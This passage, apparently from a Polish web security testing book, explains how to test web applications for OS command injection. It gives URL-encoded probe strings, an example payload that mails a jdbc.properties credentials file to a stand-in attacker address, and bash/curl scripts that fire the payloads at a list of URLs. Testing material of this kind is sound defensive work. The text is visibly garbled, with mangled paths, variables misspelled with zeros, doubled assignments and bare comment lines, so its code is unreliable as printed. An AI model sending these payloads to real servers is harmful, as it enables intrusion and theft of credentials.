Problem
Wstrzykiwanie poleceń jest metodą, którą napastnik może wykorzystać do uruchamiania dowolnych poleceń na serwerze docelowym. Aplikacja jest wrażliwa na ataki wstrzykiwania poleceń, jeśli pobiera dane wejściowe z niezaufanych źródeł i wstawia je do poleceń przesyłanych do systemu operacyjnego bez odpowiedniej weryfikacji danych wejściowych czy też kodowania wyjścia.
W listingu 12.18 zamieszczono kilka ciągów znaków, które można wprowadzić jako dane wejściowe w celu przetestowania wrażliwości na wstrzykiwanie poleceń serwerów działających pod kontrolą systemu Microsoft Windows.
Listing 12.18. Testowe dane wejściowe do wyszukiwania podatności aplikacji na wstrzykiwanie poleceń dla serwerów działających pod kontrolą systemu Windows
%26 echo Wrażliwość na wstrzykiwanie poleceń %3E%3E C%3A%5Ctemp%5Cvulns.txt %26 ' %26 echo Wrażliwość na wstrzykiwanie poleceń %3E%3E C%3A%5Ctemp%5Cvulns.txt %26 " %26 echo Wrażliwość na wstrzykiwanie poleceń %3E%3E C%3A%5Ctemp%5Cvulns.txt %26
W przypadku celów działających w systemach z rodziny Unix można zastosować ciągi wejściowe zamieszczone w listingu 12.19.
Listing 12.19. Testowe dane wejściowe do wyszukiwania podatności aplikacji na wstrzykiwanie poleceń dla serwerów działających pod kontrolą systemów z rodziny Unix
%3B echo Wrażliwość na wstrzykiwanie poleceń %3E%3E %2Ftmp%2Fvulns.txt %3B ' %3B echo Wrażliwość na wstrzykiwanie poleceń %3E%3E %2Ftmp%2Fvulns.txt %3B " %3B echo Wrażliwość na wstrzykiwanie poleceń %3E%3E %2Ftmp%2Fvulns.txt %3B
W przypadku serwerów działających pod kontrolą systemu Microsoft Windows należy sprawdzić, czy w pliku C: empvulns.txt znajduje się ciąg znaków „Command Injection Vulnerability". W przypadku serwerów działających pod kontrolą jednego z systemów z rodziny Unix należy sprawdzić obecność tego samego ciągu w pliku /temp/vulns.txt. Jeśli w tych plikach znajduje się ten ciąg znaków, to aplikacja jest wrażliwa na ataki wstrzykiwania poleceń systemu operacyjnego.
DYSKUSJA
Ataki polegają na wstawieniu wiersza tekstu do pliku. Napastnik może jednak uruchomić złośliwe polecenia polegające na przykład na usunięciu wszystkich katalogów i plików w systemie plików docelowego serwera, do których aplikacja ma prawo usuwania. Polecenia te mogą również służyć do niszczenia procesów serwera WWW, przesyłania e-mailem do napastnika pliku zawierającego potencjalnie wrażliwe informacje (na przykład dane identyfikacyjne dające dostęp do bazy danych) itp.
Trzeba zwrócić uwagę, że testowe dane wejściowe zaprezentowane wcześniej zawierają znaki zakodowane w standardzie URL-encoded, co ma zapewnić ich właściwą interpretację. Separatorem wiersza polecenia w systemie Microsoft Windows jest znak & (przy kodowaniu URL- encoded jest to znak %26), natomiast separator poleceń w systemach uniksowych to znak ; (w przypadku zastosowania kodowania URL-encoded — %3B). Celem napastnika jest zazwyczaj przekształcenie pojedynczego wywołania systemu operacyjnego w postaci, jaką zaplanował projektant aplikacji, w wiele wywołań systemu operacyjnego, spośród których pewna grupa wykonuje złośliwe działania. Na przykład aplikacja może próbować czytać plik z poziomu skryptu Perla, wykorzystując do tego celu wrażliwy kod w postaci podobnej do poniższej:
Wiersz kodu Perla wrażliwego na wstrzykiwanie poleceń systemu operacyjnego
$messages='cat /usr/$USERNAME/inbox.txt'.
Jeśli napastnik ma kontrolę nad zmienną USERNAME, może wstawić do niej ciąg dowolny_tekst %3B sendmail napastnik%40example.com %3C db%2Fjdbc.properties %3B echo i spowodować, że aplikacja uruchomi polecenie podobne do zamieszczonego tutaj:
cat /usr/dowolny_tekst ; sendmail napastnik@example.com db/jdbc.properties ; echo /inbox.txt
Uruchomienie pierwszego i ostatniego polecenia prawdopodobnie się nie powiedzie, ale środkowe polecenie, jeśli napastnik wstrzyknie je do aplikacji, spowoduje przesłanie do niego e-mailem pliku db/jdbc.properties.
Przed przeprowadzeniem testu pod kątem tego słabego punktu należy sprawdzić, czy w systemie Microsoft Windows istnieje katalog C: emp lub katalog /tmp w systemach z rodziny Unix. Należy również sprawdzić, czy aplikacja posiada uprawnienia zapisu w tym katalogu oraz czy plik vulns.txt jest pusty bądź nie istnieje.
Systemowe przeprowadzanie ataków wstrzykiwania poleceń systemu operacyjnego
Problem
W przypadku dużej liczby adresów URL do przetestowania potrzebne jest podejście systemowe.
Rozwiązanie
W celu przetestowania bezpieczeństwa na tego typu atak uruchomiliśmy skrypt zamieszczony poniżej w dowolnej stacji roboczej, która ma możliwość dostępu do docelowej aplikacji internetowej. W tym teście zakładamy, że docelowa aplikacja działa w systemie Microsoft Windows. Jeśli działa w systemie z rodziny Unix, to trzeba zmodyfikować zmienne OUTPUTFILE oraz COM- MAND_SEPARATOR.
Skrypt służący do systemowego wyszukiwania podatności na wstrzykiwanie poleceń systemu operacyjnego
#!/bin/bash
CURL=/usr/bin/curl
Tymczasowy plik wyjściowy na docelowym serwerze WWW — należy zadbać o to, aby aplikacja internetowa miała uprawnienia zapisu w tej lokalizacji.
OUTPUTFILE='C: empvulns.txt'
OUTPUTFlLE=/tmp/vulns.txt
Plik z adresami URL do zaatakowania — po jednym w wierszu.
Dla żądań GET wiersz powinien przyjąć postać http://<host>:<port>/<ścieżka>?<parametr> =
Dla żądań POST powinien mieć format http://<host>:<port>/<ścieżka><parametr>
URLFILE=urls.txt
Separatorem poleceń w systemie Windows jest znak & (%26).
Separatorem poleceń w systemie Unix jest znak; (%3B).
C0MMAND_SEPARAT0R=%26
COMMAND_SEPARATOR=%3B
while read LINE do
Pobranie zmiennych URL i PARAMETER dla żądań POST
URL=${LINE% *}
PARAMETER=${LINE#* }
Zakodowanie zawartości zmiennej LINE w Base64, tak by można było ją bezpiecznie wstrzyknąć.
To pomoże nam w znalezieniu wrażliwego adresu URL.
LINE_ENC0DED='echo ${LINE} | perl -MMIME::Base64 -lne 'print encode_base64($_)''
INJECTI0N_STRING="%20${C0MMAND_SEPARAT0R}%20echo%20${LINE_ENC0DED}%20%3E%3E%20"
INJECTI0N_STRING="${INJECTI0N_STRING}${0UTPUTFILE}%20${C0MMAND_SEPARAT0R}%20"
if [ "${URL}" != "${LINE}" ]; then
Jeśli zmienna LINE odczytana z pliku URLFILE zawiera spację, to dotrzemy do tego miejsca.
Zgodnie z formatem pliku URLFILE wskazuje to na żądanie POST.
curl -f -s -F "${PARAMETER}=${INJECTI0N_STRING}" ${URL}
else
Jeśli zmienna LINE odczytana z pliku URLFILE nie zawiera spacji, to dotrzemy do tego miejsca.
Zgodnie z formatem pliku URLFILE wskazuje to na żądanie GET. curl -f -s "${URL}${INJECTI0N_STRING}"
fi
RETC0DE=$?
Sprawdzenie, czy nastąpiła awaria programu cURL lub serwera. if [ $RETC0DE != 0 ]
then
echo "NIEP0W0DZENIE: (curl ${RETC0DE}) ${LINE}"
else
echo "SUKCES: (curl ${RETC0DE}) ${LINE}"
fi
done < ${URLFILE}
Następnie należy zapisać skrypt zamieszczony w listingu 12.23 w pliku reveal_command_injectkm..sh na testowanym serwerze WWW i go uruchomić.
Listing 12.23. Skrypt służący do wyświetlania listy adresów URL stron podatnych na wstrzykiwanie poleceń systemu operacyjnego
#!/bin/bash
Wartość zmiennej OUTPUTFILEz wcześniejszego skryptu.
INPUTFILE=C:tempvulns.txt
INPUTFILE=/tmp/vulns.txt.
echo "Strony o poniższych adresach URL są podatne na wstrzykiwanie poleceń systemu
operacyjnego:"
while read LINE
do
LINE_DEC0DED='echo ${LINE} | perl -MMIME::Base64 -lne 'print decode_base64($_)'' echo $LINE_DEC0DED; done < ${INPUTFILE}
Należy zmodyfikować skrypt w taki sposób, by zawierał wszystkie wartości INJECTION_STRING poniższego listingu. Reprezentują one różne sposoby „cytowania" ciągów znaków, które mogą być stosowane w kodzie źródłowym aplikacji.
Testowe dane wejściowe do wyszukiwania podatności na wstrzykiwanie poleceń systemu operacyjnego
${COMMAND_SEPARATOR} echo ${LINE_ENCODED} >> ${OUTPUTFILE} ${COMMAND_SEPARATOR}
' ${COMMAND_SEPARATOR} echo ${LINE_ENCODED} >> ${OUTPUTFILE} ${COMMAND_SEPARATOR}
" ${cOMMAND_SEPARATOR} echo ${lINE_ENCODED} >> ${oUTPUTFILE} ${cOMMAND_SEPARATOR}
Oczywiście, ciągi te powinny być odpowiednio zakodowane z wykorzystaniem standardu URL-encode.
DYSKUSJA
Kod z powyższego listingu przetwarza w pętli wszystkie przekazane do niego adresy URL i przekazuje do każdego z nich ciąg testu podatności na wstrzykiwanie poleceń systemu operacyjnego. Istnieje jednak poważna subtelność, o której należy wspomnieć w tym miejscu.
Do wierszy poleceń wstrzykujemy adresy URL. Powinniśmy jednak pamiętać, że niektóre często występujące znaki w adresach URL mogą mieć specjalne znaczenie w wierszu poleceń systemu operacyjnego. Na przykład symbol ampersand (&) używany do oddzielenia parametrów w ciągach zapytań jest równocześnie separatorem poleceń w systemie Microsoft Windows. Spróbujmy zastanowić się, co mogłoby się zdarzyć, gdybyśmy spróbowali wstrzyknąć tekst poniższego listingu do aplikacji pracującej pod kontrolą systemu Microsoft Windows.
Potencjalny problem występujący w przypadku, gdy adresy URL nie są kodowane
& echo Wstrzykiwanie poleceń pod adresem http://www.example.com?param1=wart1¶m2=
>>
C: empvulns.txt
Jeśli aplikacja jest wrażliwa na wstrzykiwanie poleceń, powyższy kod może zostać przekształcony na polecenie pokazane w listingu 12.26, które w rzeczywistości tworzy trzy oddzielne polecenia pokazane w listingu 12.27.
Listing 12.26. Przykład wynikowego wiersza polecenia uzyskanego w przypadku, gdy adresy URL nie są kodowane
type C:users & echo Wstrzykiwanie poleceń pod adresem http://www.example.com?param1=wart1¶m2=>>
C: empvulns.txt.txt
Listing 12.27. Przykład wynikowych poleceń uzyskanych w przypadku, gdy adresy URL nie są kodowane type C:users
echo Wstrzykiwanie poleceń pod adresem http://www.example.com?param1=wart1 param2= >> C: empvulns.txt.txt
Żadne z poleceń z tego listingu nie pokaże, czy aplikacja jest wrażliwa na atak wstrzykiwania poleceń systemu operacyjnego. W celu rozwiązania tego problemu przed wstawieniem adresów URL w wierszu polecenia zakodujemy je w Base64. W kodowaniu Base64 są wykorzystywane wyłącznie znaki A-Z, a-z, 0-9, + i /, których można bezpiecznie używać w wierszach poleceń zarówno w systemach z rodziny Unix, jak i w systemie Windows.